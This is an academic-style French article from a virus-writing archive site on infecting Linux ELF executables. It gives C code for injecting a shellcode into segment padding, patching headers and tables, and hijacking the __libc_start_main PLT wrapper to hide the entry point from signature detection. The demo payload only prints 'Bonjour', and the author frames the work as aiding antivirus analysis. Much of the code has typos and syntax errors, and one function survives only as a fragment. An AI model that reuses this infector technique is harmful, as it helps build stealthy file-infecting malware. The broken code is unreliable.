Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

ELF et virologie informatique

Matthieu Kaczmarek
GNU Linux Magasine France, HS 32 (2007) pp.12-19
ISSN 0183-0864

PDFDownload PDF (256.94Kb) (You need to be registered on forum)
[Back to index] [Comments (0)]
Matthieu Kaczmarek
Ecole des mines de Nancy - INPL - Loria

Résumé

Cet article explore le format ELF du point de vue de la virologie informatique. Nous décrivons une technique classique permettant d'infecter un fichier ELF exécutable. La principale contribution de cet article sera de montrer comment exploiter les objets partagés en détournant le mécanisme de liaison dynamique. Cette étude se veut pratique et elle est illustrée par des programmes C.

La virologie informatique est une discipline vieille d'une vingtaine d'années. Jusquà maintenant les architectures de type Unix ont été épargnées par les logiciels malicieux. Mais le développement des attaques spécialisées d'une part, et l'augmentation du nombre d'utdisateurs d'autre part, amènent à penser que les systèmes Unix pourraient aussi être les cibles de futures attaques. Plusieurs articles [1, 5, 6] ont déjà présenté des techniques virales dédiées au format ELF (Executable and Linking Format) Ici, nous en reprendrons les grandes lignes et nous montrerons qu'il est possible d'exploiter le mécanisme de liaison dynamique pour rendre le code inséré plus fiirtif et plus fonctionnel.

La connaissance des formats de fichiers exécutables est essentielle pour tout acteur de la virologie informatique. Cet exposé n'est pas destiné à encourager la construction de programmes malveillants. Au contraire, une telle étude permet de faciliter l'analyse de fichiers infectés et donc d'accélérer leur identification. La rapidité d'analyse étant cruciale pour toute réponse antivirale, ce type d'étude est indispensable.

Cet article comporte aussi une dimension scientifique liée à l'étude théorique [4]. Cette dernière met en évidence une correspondance entre les techniques virales et les mécanismes de compilation Dans cet article nous montrons que l'insertion de code s'apparente aux mécanismes de liaison d'objet. Ce concept appuie l'étude précédente par une dimension expérimentale, et il contribue à la compréhension des problématiques de la virologie informatique. Pour une introduction à cette discipline, nous conseillons la lecture des livres [2,3].

La description du format de fichier ELF se déroulera en deux temps. Premièrement, nous étudierons sa structure et nous montrerons comment elle peut être compromise afin d'y insérer un code étranger. Ensuite nous étudierons le mécanisme de liaison dynamique et nous exposerons comment il peut être détourné au profit d'une insertion.

Nous utiliserons des programmes C pour illustrer notre propos. Le lecteur désireux d'obtenir les informations exposées sans programmer pourra utiliser la commande readelf accessible depuis la plupart des environnements Unix. Il existe aussi une bibliothèque C, libelf [8], facilitant certains accès à la structure ELF. Les types et les constantes auxquels nous ferons référence se trouvent dans le fichier elf.h de la libc. Nous réaliserons nos expériences sur une copie du programme bash.

$ cp /bin/bash ~/

Structure d'un fichier ELF

Nous présentons les grandes lignes de la structure d'un fichier ELF. Pour un exposé détaillé le lecteur pourra se référer a [7].

Description générale

Le format ELF a été créé dans les laboratoires de Unix Systems, il est maintenant considéré comme un standard des environnements de type Unix. Sas structure permet non seulement de décrire le chargement d'un objet en mémoire mais aussi de faciliter le processus de liaison entre différents objets. Ainsi ce format peut être appliqué à trois types de fichier.

Un fichier ELF se décompose principalement en quatre parties: un en-tête, une table des segments, une table des sections et un corps comportant du code et des données.

Le corps d'un fichier ELF peut être divisé de deux manières différentes: en segments et en sections. Ces divisions peuvent se chevaucher mais chaque seclion ne peut résider que sur un seul segment. En d'autres termes, un segment peut contenir une ou plusieurs sections mais la réciproque est fausse. Toutefois, la division en segments est optionnelle pour un fichier d'objet readressable, la table des segments est alors absente. De même, la division en sections est optionnelle pour un fichier exécutable ou pour certains objets partagés.

En pratique

L'en-tète

L'en-tête se situe au debut du fichier, il permet de localiser les autres parties du format comme les tables de segments et de sections. Sa structure est décrite par le typw ELF32_Ehdr. Nous présentons quelques champs qui nous seront utiles par la suite.

Le programme suivant montre comment extraire les informations de l'en-tête.

#include <stdio.h>
#include <elf.h>

int main(int argc, char** argv) {
        Elf32_Ehdr hdr;
        FILE* fp = fopen(argv[1], "r");
        fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
        printf("Signature Entrée Tab seg Tab sec\n");
        printf("%9.3s ", hdr.e_ident + 1);
        printf("%8x ", hdr.e_entry);
        printf("%8x ", hdr.e_phoff);
        printf("%8x \n", hdr.e_shhoff);
        fclose(fp);
        return 0;
}
 

Ce programme produit la sortie suivante.

$ ./header bash
Signature Entrée  Tab seg Tab sec
ELF       805c210 34      a7b48

Les segments

Les segments représentent l'image mémoire produite par le chargement du fichier. Ils sont indexés par la table des segments, aussi appelé en-tête de programme. Les éléments de cette table sont décrits par le type ELF32_Phdr. On y retrouve les champs suivants.

Pour cet article nous nous intéresserons seulement au type PT_LOAD, qui correspond aux segments qui sont chargés en mémoire.

La valeur du champ p_flag dépend de l'architecture d'exécution. Par exemple pour un processeur de type ia86, le premier bit correspond au droit d'exécution, le second au droit d'écriture et le troisième au droit de lecture.

Le programme suivant présente comment parcouirir la table des segments.

#include <stdio.h>
#include <elf.h>

int main (int argc, char** argv) {
        Elf32_Ehdr hdr;
        FILE *fp = fopen(argv[1], "r");
        fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
        if (hdr.e_phoff == 0) {
                fprintf(stderr, "Absence de table des segmentss\n");
                return 0;
        }
        /* Se positionner sur la table des segments */
        fseek(fp, hdr.e_phoff, SEEK_SET);
        printf(" # LOAD Position Taille Adresse Espace xwr\n");
        /* Parcourir les hdr.e_phnum segments */
        Elf32_Phdr seg;
        Elf32_half i;
        for (i = 0; i < hdr.e_phnum; ++i) {
                /* Récupérer le segment */
                fread (&segm sizeof(char), sizeof(Elf32_Phdr), fp);
                printf("%2i ", i);
                printf("%4s ", (seg.p_type == PT_LOAD ? "Oui" : "Non");
                printf("%8x ", seg.p_offset);
                printf("%8x ", seg.p_filesz);
                printf("%8x ", seg.p_vaddr);
                printf("%8x ", seg.p_memsz);
                printf("%c%c%c \n",
                        seg.p_flags % 2 ? 'x' : ' ',            /* Exécution */
                        (seg.p_flags >> 1) % 2 ? 'w' : ' ',     /* Ecriture */
                        (seg.p_flags >> 2) % 2 ? 'r' : ' ');    /* Lecture */
        }
        fclose(fp);
        return 0;
}
 

Ce programme produit la sortie suivante.

# LOAD Position Taille Adresse Espace xwr
0 Non  34       100    8048034 100    x r
1 Non  134      13     8048134 13       r
2 Oui  0        a23c0  8048000 a23c0  x r
3 Oui  a23c0    4b84   80eb3c0 9898    wr
4 Non  a23d4    d8     80eb3d4 d8      wr
5 Non  148      20     8048148 20       r
6 Non  a22f8    2c     80ea2f8 2c       r
7 Non  0        0      0       0       wr

Le lecteur attentif remarquera qu'il y a un espace mémoire inoccupé entre la fin du segment 2 et le du segment 3.

Les sections

Comme les segments, les sections sont indexées par une table d'en-têtes dont les éléments sont décrits par le type Elf32_Shdr. Voici quelques uns des champs qui le composent.

Le découpage en sections est particulièrement important pour les processus de liaison, cet aspect sera traité plus bas.

L'accès aux en-têtes de section s'effectue de manière analogue à l'accès aux en-têtes de segments.

#include <stdio.h>
#include <elf.h>

int main(int argc, char** argv) {
        Elf32_Ehdr hdr;
        FILE* fp = fopen(argv[1], "r");
        fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
        if (hdr.e_shoff == 0) {
                fprintf(stderr, "Absence de sections\n");
                return 0;
        }
        /* Positionner sur la table des sections */
        fseek(fp, hdr.e_shoff, SEEK_SET);
        printf(" # Position Taille wax\n");
        Elf32_Shdr sec;
        Elf32_Half i;
        for (i = 0; i < hdr.e_shnum; ++i) {
                /* Lire l'élément i */
                fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp);
                printf("%2i ", i);
                printf("%8x ", sec.sh_offset);
                printf("%8x ", sec.sh_size);
                printf("%c%c%c\n",
                        sec.sh_flags % 2 ? 'w' : ' ',           /* Inscriptoble */
                        (sec.sh_flags >> 1) % 2 ? 'a' : ' ',    /* Alloué */
                        (sec.sh_flags >> 2) % 2 ? 'x' : ' ');   /* Exécutable */
        }
        fclose(fp);
        return 0;
}
 

Ce programme produit la sortie suivante

$ ./section bash
 # Position Taille wax
 0 0        0
 1 134      13      a
...
12 14210    79424   ax
13 8d634    1c      ax
14 8d660    14c98   a
15 a22f8    2c      a
16 a2324    9c      a
...

Chargement en mémoire

Nous décrivons maintenant le mécanisme de chargement en mémoire. Cette partie est spécifique aux architectures de type ia86 Unix V Release 4.

Pour des raisons d'efficacité les segments sont chargés en mémoire sans respecter le champ p_align, mais de façon à ce que la position du segment dans le fichier et son adresse en mémoire soient congruentes modulo la taille d'une page mémoire. En d'autre termes, on a la propriété p_offset = p_vaddr [p_align]. Sur le type de système considéré p_align vaut généralement 4ko (0x1000 octets).

On notera que les droits alloués aux pages correspondent à la valeur de champ p_flags. Pour réaliser cette affectation, chaque segment est chargé sur une nouvelle page mémoire et non à la première adresse libre.

Les deux mécanismes précédents engendrent des blancs ea mémoire avant et après les segments. Pour comprendre cela, prenons un exemple. On considère deux segments, le premier de 0x1200 octets et le second de 0x1000 octets. Le premier segment sera chargé entre l'adresse 0x0 et l'adresse 0x1200. La page mémoire suivante commence à l'adresse 0x2000. Selon les mécanismes précédents, le second segment sera chargé à partir de l'adresse 0x2200. Il y a donc un blanc de 0x800 octets après le premier segment et un blanc de 0x200 octets avant le second segment.

Les espaces inutiles sont remplis avec les données précédant et suivant le segment chargé. Le Schéma 1 illustre ce phénomène.

Schema 1: Chargement en mémoire

Schema 1: Chargement en mémoire

Insertion de code

Cette partie expose une technique permettant d'insérer un fragment de code à l'intérieur dun fichier ELF exécutable.

L'insertion de code a pour but d'introduire un fragment de code étranger dans un fichier hôte de manière à forcer l'interprétation du fragment inséré lors de l'exécution de l'hôte. L'insertion est soumise à plusieurs contraintes.

Pour satisfaire les deux premières contraintes, il sutfit de faire porter l'insertion sur un segment de type PT_LOAD et ayant un droit d'exécution. La troisième contrainte est plus problématique. Certaines instructions d'un programme peuvent faire référence à des données de manière absolue, c'est-à-dire en spécifiant leur adresse mémoire. Ainsi, l'insertion devra préserver les adresses des différentes données. Pour ce faire nous pouvons utiliser les blancs engendrés par le mécanisme de chargement. En effet, la modification de cette partie inutilisée de la mémoire n'affectera pas le reste du programme. Nous procéderons de la manière suivante où fp sera le fichier subissant l'insertion.

  1. La taille du code inséré devra être inférieure à la taille d'une page mémoire, soit 4ko. Ici nous choisissons un code imprimant "Bonjour" sur la sortie standard.
  2. Rechercher un segment correspondant aux critères: il sera de type PT_LOAD, exécutable et suivi d'un blanc d'une taille supérieure à la taille d'une page mémoire.
    /* Rechercher un segment pour l'insertion */
    Elf32_Phdr find_seg(FILE* fp, Elf32_Ehdr hdr) {
            fseek(fp, hdr.e_phoff, SEEK_SET);
            Elf32_Phdr ins_seg, seg;
            Elf32_Half i;
            for (i = 0; i < hdr.e_phnum; ++i) {
                    fread(&ins_seg, sizeof(char), sizeof(Elf32_Phdr), fp);
                    if (ins_seg.p_type != PT_LOAD || ins_seg.p_flags % 2 == 0)
                            continue;
                    fread(&seg, sizeof(char), sizeof(Elf32_Phdr), fp);
                    if (seg.p_vaddr - (ins_seg.p_vaddr + ins_seg.p_filesz) < ins_seg.p_align)
                            continue;
                    return ins_seg;
            }
            /* Aucun segment trouvé */
            fprintf(stderr, "Aucun segment n'est valide\n");
            exit(1);
    }
     
  3. Mettre à jour l'en-tête, ce qui comprend: la redirection du point d'entrée vers le code inséré et la mise à jour des positions des tables si elles se situent après le point d'insertion.
    /* Mise à jour de l'en-tête */
    int update_header (FILE* fp, Elf32_Ehdr hdr, Elf32_Addr new_entry, Elf32_Off shc_off, Elf32_Off align) {
            hdr.e_entry = new_entry;
            if (hdr.e_phoff >= shc_off)
                    hdr.e_phoff += align;
            if (hdr.e_shoff >= shc_off)
                    hdr.e_shoff += align;
            fseek(fp, 0, SEEK_SET);
            fwrite(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
            return 0;
    }
     
  4. Mettre à jour les positions et les tailles des segments et des sections. Ceux localisés après l'insertion sont décalés de ins_seg.p_align octets. De plus, les tailles du segment et de la section ayant subi l'insertion sont augmentées de ins_seg.p_align.
    /* Mettre à jour de la table des segments */
    int update_seg(FILE* fp,  Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_Off align) {
            fseek(fp, hdr.e_phoff, SEEK_SET);
            Elf32_Phdr seg;
            Elf32_Half i;
            for (i = 0; i < hdr.e_phnum; ++i) {
                    fread(&seg, sizeof(char), sizeof(Elf32_Phdr), fp);
                    if (seg.p_offset >= shc_off)
                            seg.p_offset += align;
                    else if (seg.p_offset + seg.p_filesz == shc_off) {
                            seg.p_memsz += align;
                            seg.p_filesz += align;
                    } else
                            continue;
                    fseek(fp, -sizeof(Elf32_Phdr), SEEK_CUR);
                    fwrite(&seg, sizeof(char), sizeof(Elf32_Phdr), fp);
            }
            return 0;
    }
    /* Mettre à jour de la table des segments */
    int update_sec(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_off align) {
            fseek(fp, hdr.e_shoff, SEEK_SET);
            Elf32_Shdr sec;
            Elf32_Half i;
            for (i = 0; i < hdr.e_shnum; ++i) {
                    fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp);
                    if (sec.sh_offset >= shc_off)
                            sec.sh_offset += align;
                    else if (sec.sh_offset + sec.sh_size == shc_off)
                            sec.sh_size += align;
                    else
                            continue;
                    fseek(fp, -sizeof(Elf32_Shdr), SEEK_CUR);
                    fwrite(&sec, sizeof(char), sizeof(Elf32_Shdr), fp);
            }
            return 0;
    }
     
  5. Mettre à jour le code à insérer afin qu'il rende la main au programme hôte après son exécution. Puis, l'insérer à la fin du segment choisi en préservant l'alignement.
    /* Insertion du Shellcode */
    int insert_shellcode(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_off, Elf32_Off page_size, char *code, int code_size) {
            /* Mettre à jour le shellcode */
            *((Elf32_Addr*)(code + SHC_RETADD)) = hdr.e_entry;
            /* Insérer */
            fseek(fp, shc_off, SEEK_SET);
            char* save = (char*)malloc(page_size * sizeof(char));
            char* towrite = (char*)malloc(page_size * sizeof(char));
            memcpy(towrite, code, code_size);
            int read = fread(save, sizeof(char), page_size, fp);
            while (!feof(fp)) {
                    fseek(fp, -page_size, SEEK_CUR);
                    fwrite(towrite, sizeof(char), page_size, fp);
                    char* tmp = save;
                    save = towrite;
                    towrite = tmp;
                    read = fread(save, sizeof(char), page_size, fp);
            }
            fseek(fp, -read, SEEK_END);
            fwrite(towrite, sizeof(char), page_size, fp);
            fwrite(save, sizeof(char), page_size, fp);
            free(save);
            free(towrite);
            return 0;
    }
     
  6. En assemblant ces différents composants nous obtenons le programme suivant.
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <elf.h>
    int main(int argc, char** argv) {
            FILE* fp = fopen(argv[1], "rb+");
            Elf32_Ehdr hdr;
            fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
            Elf32_Phdr ins_seg = find_seg(fp, hdr);
            Elf32_Off shc_off = ins.seg.p_offset + ins_seg.p_filesz;
            update_header(fp, hdr, hdr.e_entry, shc_off, ins_seg.p_align);
            update_seg(fp, hdr, shc_off, ins_seg.p_align);
            update_sec(fp, hdr, shc_off, ins_seg.p_align);
            insert_shellcode(fp, shc_off, ins_seg.p_align, code, SHC_SIZE);
            fclose(fp);
            return 0;
    }
     

Après avoir infecté la copie de bash nous relançons les programmes de la première partie. Nous avons mis en évidence les principaux changements. En particuler on remarque que le code a été inséré dans la section 16 qui n'est pourtant pas exécutable. Cela illustre le fait que le champ sh_flags est seulement indicatif.

$ ./bash
Bonjour
$ ./header bash
Signature Entrée Tab seg Tab sec
ELF 80a8254 34 a8b48
$ ./segment bash
# LOAD Position Taille Adresse Espace xwr
0 Non 34 100 8048034 100 x r
1 Non 134 13 8048134 13 r
2 Oui 0 a33c0 8048000 a33c0 x r
...
$ ./section bash
# Position Taille wax
0 0 0
1 134 13 a
...
15 a22f8 2c a
16 a2324 109c a
...

Remarques

Nous avons présente un cas d'école en matière d'insertion de code qui possède plusieurs faiblesses.

Liaison dynamique

Nous proposons une introduction au mécanisme de liaison dynamique, encore une fois pour un descriptif plus approfondi le lecteur se référera à [7]. Nous exposons ensuite comment exploiter les appels dynamiques d'un hôte, afin de dissimuler le code inséré et de réduire sa taille.

Description générale

Plusieurs secttons interviennent dans le processus de liaison, parmi celles-ci on retrouve les suivantes.

Pour réaliser les liaisons, chaque fichier comporte des symboles, pour chaque symbole deux cas de figure se présentent.

La table de correspondance est générée par l'éditeur de liens entre le chargement du programme en mémoire et le début de son exécution.

En pratique

Nous décrivons comment accéder aux differentes informations de liaison dynamique.

Les noms de sections

Nous avons fait référence aux sections par leur nom. Ces noms sont accessibles par l'intermédiaire de la sectton .shstrtab contient une liste de noms. Le champ sh_name des en-têtes de section contient un index donnant la position du nom dans la section .shstrtab. Ainsi, nous pouvons accéder aux sections par leur nom grâce aux procédures suivantes.

/* rechercher l'index d'une chaîne */
Elf32_Word getstrdx(FILE* fp, Elf32_Shdr sec, char *str, size_t length) {
        fseek(fp, sec.sh_offset, SEEK_SET);
        size_t cpt = 0;
        char c;
        Elf32_Word i;
        for (i = 0; i < sec.sh_size; ++i) {
                c = getc(fp);
                if (str[cpt == c)
                        ++cpt;
                else if (cpt != 0) {
                        fseek(fp, -cpt, SEEK_CUR);
                        i -= cpt;
                        cpt = 0;
                }
                if (cpt == length)
                        return i + 1 - length;
        }
        fprintf(stderr, "La châne %s est introuvable\n", str);
        exit(1);
}

/* En-tête de section depuis le nom */
Elf32_Shdr get_shdr(FILE* fp, Elf32_Ehdr hdr, char* name) {
        fseek(fp, hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf32_Shdr), SEEK_SET);
        Elf32_Shdr sec;
        fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp);
        Elf32_Word strdx = get_strdx(fp, sec, name, strlen(name) + 1);
        fseek(fp, hdr.e_shoff, SEEK_SET);
        Elf32_Half i;
        for (i = 0; i < hdr.e_shnum; ++i) {
                fread(&sec, sizeof(char), sizeof(Elf32_Shdr), fp);
                if (sec.sh_name == strdx)
                        return sec;
        }
        fprintf(stderr, "Section %s introuvable\n", name);
        exit(1);
}
 

Les symboles

Les symboles sont associés à leur nom par la même méthode: la section .dynstr contenant la liste des noms de symboles et la section .dynsym contenant la liste des symboles. Les éléments de la table .dynsym sont décrits par le type Elf32_Sym dont le champ st_value contient l'adresse mémoire à laquelle l'éditeur de lien inscrira l'adresse mémoire associée au symbole. Une autre valeur importante est l'index du symbole dans la table.

#define STR_DYNSTR      ".dynstr"
#define STR_SYMTAB      ".dynsym"
/* Symbole depuis son nom */
Elf32_Sym get_dyn(FILE* fp, Elf32_Ehdr hdr, char* symbol) {
        /* Récupérer l'index du nom du symbol */
        Elf32_Shdr sec = get_shdr(fp, hdr, STR_DYNSTR);
        Elf32_Word strdx = getstrdx(fp, sec, symbol, strlen(symbol) + 1);
        sec = get_shdr(fp, hdr, STR_SYMTAB);
        fseek(fp, sec.sh_offset, SEEK_SET);
        /* Récupérer le symbol */
        Elf32_Sym sym;
        Elf32_Word symdx = 0;
        Elf32_Word i;
        for (i = 0; i < sec.sh_size; i += sizeof(Elf32_Sym), ++symdx) {
                fread(&sym, sizeof(char), sizeof(Elf32_Sym), fp);
                if (sym.st_name == strdx) {
                        /* Repacement de l'index dans la table */
                        /* par l'index du symbol par commodité HACK */
                        sym.st_name = symndx;
                        return sym;
                }
        }
        fprintf(stderr, "Le symbol %s n'est pas référencé\n", symbol);
        exit(1);
}
 

Les emballages de fonction

Les emballages de la section .plt sont associés aux symboles de procédures par l'intermédiaire de la table de relation des redirections .rel.plt. Les éléments de cette table sont décrit par le type Elf32_Rel. Cette structure possède deux champs.

Les emballages de la table .plt sont des codes assembleurs ayant la structure suivante.

        jmp     *name1_in_got
        pushl   $offset@PC
        ...
 

Ainsi, nous pouvons accéder à l'emballage d'un symbole grâce à la procédure suivante.

#define STR_RELPLT      ".rel.plt"
#define STR_PLT         ".plt"
#define JMPM32_OFF      2
#define JMPM32_SIZE     6
char    JMPM32_OPC[JMPM32_SIZE] = "\xff\x25@@@@";
/* rechercher un emballage */
Elf32_Off get_wrapper(FILE* fp, Elf32_Ehdr hdr, char* symbol) {
        Elf32_Sym = get_sym(fp, hdr, symbol);
        Elf32_Shdr rel = get_shdr(fp, hdr, STR_RELPLT);
        fseek(fp, rel.sh_offset, SEEK_SET);
        Elf32_Rel rel;
        Elf32_Word i;
        for (i = 0; i < rel.sh_size; ++i) {
                fread(&rel, sizeof(char), sizeof(Elf32_rel), fp);
                if (ELF32_R_SYM(rel.r_info) == sym.st_name) {
                        memcpy(JMPM32_OPC + JMP32_OFF, &rel.r_offset, sizeof(Elf32_Addr));
                        Elf32_Shdr plt = get_shdr(fp, hdr, STR_PLT);
                        return plt.sh_offset + get_strdx(fp, plt, JMPM32_OPC, JMPM32_SIZE);
                }
        }
        fprintf(stderr, "Le symbol de fonction %s (%x) n'est pas emballé\n", symbol, sym.st_name);
        exit(1);
}
 

Insertion et liaison

Nous reprenons le principe de la première insertion mais en liant le code inséré avec le programme hôte. Le code réalisera la même fonction, cest-à-dire imprimer "Bonjour" sur la sortie standard. Mais au lieu de d'exécuter une interruption, il fera appel à la procédure standard fputs et à la variable globale stdout. Ceci constitue un excellent exercice pour comprendre le mécanisme de liaison dynamique.

SHC_SIZE) { fprintf(stderr, "Le shellcode est trop long %i / %i\n", cpt, SHC_SIZE); exit(1); } return code; }

D'autre part, nous assombrissons le point d'entrée en redirigeant le symbole main sur le code inséré qui rendra le contrôle à main une fois son exécution terminée.

/* Insérer EPO */
#define STR_TEXT        ".text"
#define STR_MAIN        "__libc_start_main"
Elf32_Addr setup_epo(FILE* fp, Elf32_Ehdr hdr, Elf32_Off shc_wrapper) {
        /*rechercher EPO_SIZE nop */
        Elf32_Off off = get_wrapper(fp, hdr, STR_MAIN);
        fseek(fp, off, SEEK_SET);
        if (getc(fp) != '\xff' && getc(fp) != '\x25') {
                fprintf(stderr, "La forme de l'emballage est inconnue\n");
                exit(1);
        }
        Elf32_Addr main_wrapper;
        fread(&main_wrapper, sizeof(char), sizeof(Elf32_Addr), fp);
        fseek(fp, -sizeof(Elf32_Addr), SEEK_CUR);
        fwrite(&shc_wrapper, sizeof(char), sizeof(Elf32_Addr), fp);
        return main_wrapper;
}
 

Nous obtenons alors le programme suivant.

int main(int argc, char** argv) {
        FILE* fp = fopen(argv[1], "rb+");
        Elf32_Ehdr hdr;
        fread(&hdr, sizeof(char), sizeof(Elf32_Ehdr), fp);
        Elf32_Phdr ins_seg = find_seg(fp, hdr);
        Elf32_Addr shc_addr = ins_seg.p_vaddr + ins_seg.p_filesz;
        Elf32_Off shc_off = ins_seg.p_offset + ins_seg.p_filesz;
        Elf32_Off main_wrapper = setup_epo(fp, hdr, shc_addr);
        char* code = setup_shellcode(fp, hdr, shc_addr, shc_off, main_wrapper);
        update_header(fp, hdr, hdr.e_entry, shc_off, ins_seg.p_align);
        update_seg(fp, hdr, shc_off, ins_seg.p_align);
        update_sec(fp, hdr, shc_off, ins_seg.p_align);
        insert_shellcode(fp, shc_off, ins_seg.p_align, code, SHC_SIZE + strlen(SHC_MSG));
        free(code);
        fclose(fp);
        return 0;
}
 

Conclusion

La partie précédente montre qu'il est possible d'insérer un code dans un programme hôte tout en profitant des liaisons dynamiques. Cette méthode permet une plus grande discrétion et rend plus difficile la constitution d'une signature. Il est important de noter que la technique d'insertion de code exposée ici pourrait être réalisée par un usage détourné de tout éditeur de liens, comme ld par exemple. Cet aspect rend d 'utant plus claire la correspondance entre les techniques virales et les techniques de compilation.

Au vu de cet exposé, on comprend qu'il serait vain de vouloir consolider le format ELF vis-à-vis des infections viraies. En effet, ce format a été pensé pour faciliter la liaison des objets qu'il peut représenter, or l'insertion de code est un pendant du mécanisme de liaison. En d'autre termes, il serait difficile, si ce n'est impossible, d'interdire l'insertion de code tout en préservant les facilites de liaison. On conclu que tout système de protection contre les infections devra se situera à un autre niveau.

Bibliographie

  1. A. Bartolich, The ELF Virus Writing HOWTO, 2003
  2. E. Filiol, Les virus informatiques: théorie, pratique, et applications. Editions Springer, collection IRIS, 2005
  3. E. Filiol, Techniques virales avancées, Editions Springer, collection IRIS, 2007
  4. G. Bonfanlie, M. Kaczmarek and J.-Y. Marion, A Classification of Viruses through Recursion Theorems, LNCS, CIE'07, Sienna, June 2007
  5. herm1t, Infecting ELF-files using function padding for Linux, 2006
  6. S. Cesare, Unix ELF parasites and virus, 1998
  7. TIS Committee, Executable and Linking Format (ELF) Specification Version 1.2, 1995
  8. http://directory.fsf.org/libelf.html
[Back to index] [Comments (0)]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua